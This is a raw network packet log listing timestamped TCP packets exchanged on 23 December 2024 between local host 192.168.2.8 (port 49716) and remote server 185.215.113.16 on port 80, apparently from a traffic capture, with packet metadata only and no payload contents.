Dec 23, 2024 17:28:45.274204016 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274216890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274251938 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.274328947 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.274343967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274569035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274581909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274657965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274671078 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274750948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274764061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274775982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.274792910 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.274792910 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.274849892 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.274849892 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.275494099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.275509119 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.275522947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.275558949 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.275572062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.275638103 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.275648117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.275880098 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.275958061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.276520967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.276546001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.276559114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.276597977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.276612043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.276624918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.276655912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.276762009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.277400017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.277420998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.277435064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.277470112 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.277475119 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.277487993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.277499914 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.277538061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.277538061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.278311014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.278382063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.278395891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.278439999 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.278451920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.278495073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.278585911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.278598070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.278645992 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.279433966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.279448986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.279464960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.279541016 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.279544115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.279556036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.279568911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.279608965 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.279623032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.280369043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.280384064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.280395985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.280461073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.280982018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.280997038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.281009912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.281084061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.281084061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.281259060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.281274080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.281286001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.281300068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.281348944 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.281348944 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.281366110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.281379938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.281474113 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.282222986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.282243967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.282257080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.282335043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.282347918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.282355070 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.282363892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.282408953 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.282408953 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.283206940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.283221960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.283235073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.283298969 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.283302069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.283324957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.283339977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.283389091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.283389091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.284113884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.284162045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.284177065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.284250975 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.284279108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.284292936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.284306049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.284480095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.284480095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.285132885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.285161018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.285173893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.285207987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.285239935 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.285262108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.285279036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.285475969 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.285475969 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.286075115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.286091089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.286103964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.286138058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.286360025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.286374092 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.286386013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.286490917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.286490917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.286994934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.287048101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.287060022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.287132978 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.287487030 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.287499905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.287512064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.287597895 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.287597895 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.287993908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.288006067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.288017988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.288029909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.288079977 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.288079977 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.288218021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.288230896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.288286924 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.288888931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.288961887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.288980007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.289071083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.289083004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.289096117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.289097071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.289170027 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.289170027 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.289901018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.289941072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.289952993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.290040016 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.466197014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.466213942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.466226101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.466243029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.466267109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.466288090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.466290951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.466290951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.466298103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.466312885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.466371059 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.467138052 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.467267990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.467335939 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.467350960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.467464924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.467478991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.467511892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.467516899 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.467526913 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.467539072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.467572927 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.467691898 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.468285084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.468369007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.468384027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.468429089 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.468816042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.468831062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.468883038 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.469090939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.469115973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.469127893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.469141960 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.469198942 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.469300032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.469315052 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.469327927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.469374895 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.470141888 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.470184088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.470194101 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.470196962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.470290899 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.470362902 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.470376015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.470387936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.470426083 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.470978975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.471021891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.471040964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.471048117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.471091032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.471139908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.471157074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.471164942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.471196890 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.471988916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.472002983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.472017050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.472055912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.472055912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.472055912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.472084045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.472096920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.472162008 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.472984076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.472996950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.473009109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.473078966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.473078966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.473112106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.473124027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.473135948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.473309994 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.473921061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.473938942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.473952055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.473987103 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.474041939 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.474158049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.474170923 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.474181890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.474215031 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.474895000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.474910021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.474924088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.474963903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.474982977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.474997044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.475008965 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.475011110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.475043058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.475867033 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.475881100 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.475892067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476015091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.476015091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.476028919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476042032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476053953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476084948 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.476875067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476888895 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476901054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476921082 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476934910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476948977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.476972103 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.476988077 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.477804899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.477819920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.477833033 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.477890015 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.477890015 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.477984905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.477997065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.478008986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.478075027 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.478761911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.478774071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.478785992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.478874922 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.478887081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.478899002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.478914976 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.478914976 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.478931904 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.479758978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.479772091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.479784966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.479820967 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.479850054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.479852915 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.479861975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.479872942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.479934931 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.480664015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.480695009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.480705976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.480825901 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.480825901 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.480829954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.480843067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.480859995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.480926037 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.481714010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.481733084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.481746912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.481920958 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.481921911 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.482227087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.482240915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.482253075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.482335091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.482615948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.482635021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.482645035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.482820034 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.482820034 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.665765047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.665783882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.665796041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.665808916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:45.665913105 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:45.950997114 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.070833921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388406992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388426065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388442039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388492107 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.388520002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388571978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388586998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388597965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388612032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388637066 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.388637066 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.388688087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388700008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388711929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.388739109 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.388739109 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.389638901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.391331911 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.513118029 CET	80	49716	185.215.113.16	192.168.2.8
